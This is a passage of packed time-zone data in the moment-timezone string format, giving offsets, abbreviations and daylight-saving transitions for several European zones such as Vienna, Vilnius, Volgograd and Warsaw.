WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|42e4","Europe/Ulyanovsk|LMT +03 +04 +05 +02|-3d.A -30 -40 -50 -20|01232323232323232321214121212121212121212121212121212121212121212|-22WM0 qH90 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3rd0|13e5","Europe/Vienna|LMT CET CEST|-15.l -10 -20|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-36Rd5.l UbX5.l 11d0 1iO0 11A0 1o00 11A0 3KM0 14o0 LA00 6i00 WM0 1fA0 1cM0 1cM0 1cM0 400 2qM0 1ao0 1co0 1cM0 1io0 17c0 1gHa0 19X0 1cP0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|18e5","Europe/Vilnius|LMT WMT KMT CET EET MSK CEST MSD EEST|-1F.g -1o -1z.A -10 -20 -30 -20 -40 -30|0123435636365757575757575757584848484848484848463648484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484|-3D8NF.g 1u5Ah.g 6ILM.o 1Ooz.A zz0 Mfd0 29W0 3is0 WM0 1fA0 1cM0 LV0 1tgL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11B0 1o00 11A0 1qM0 8io0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|54e4","Europe/Volgograd|LMT +03 +04 +05|-2V.E -30 -40 -50|0123232323232323212121212121212121212121212121212121212121212121|-21IqV.E psLV.E 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1cM0 1cM0 1fA0 1cM0 3Co0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 9Jd0 5gn0|10e5","Europe/Warsaw|LMT WMT CET CEST EET EEST|-1o -1o -10 -20 -20 -30|0123232345423232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3D8No 1qDA0 1LXo 11d0 1iO0 11A0 1o00 11A0 1on0 11A0 6zy0 HWP0 5IM0 WM0 1fA0 1cM0 1dz0 1mL0 1en0 15B0 1aq0 1nA0 11A0 1io0 17c0 1fA0 1a00 iDX0 LA0 1cM0 1cM0 1C00 Oo0 1cM0 1cM0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1C00 LA0 uso0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 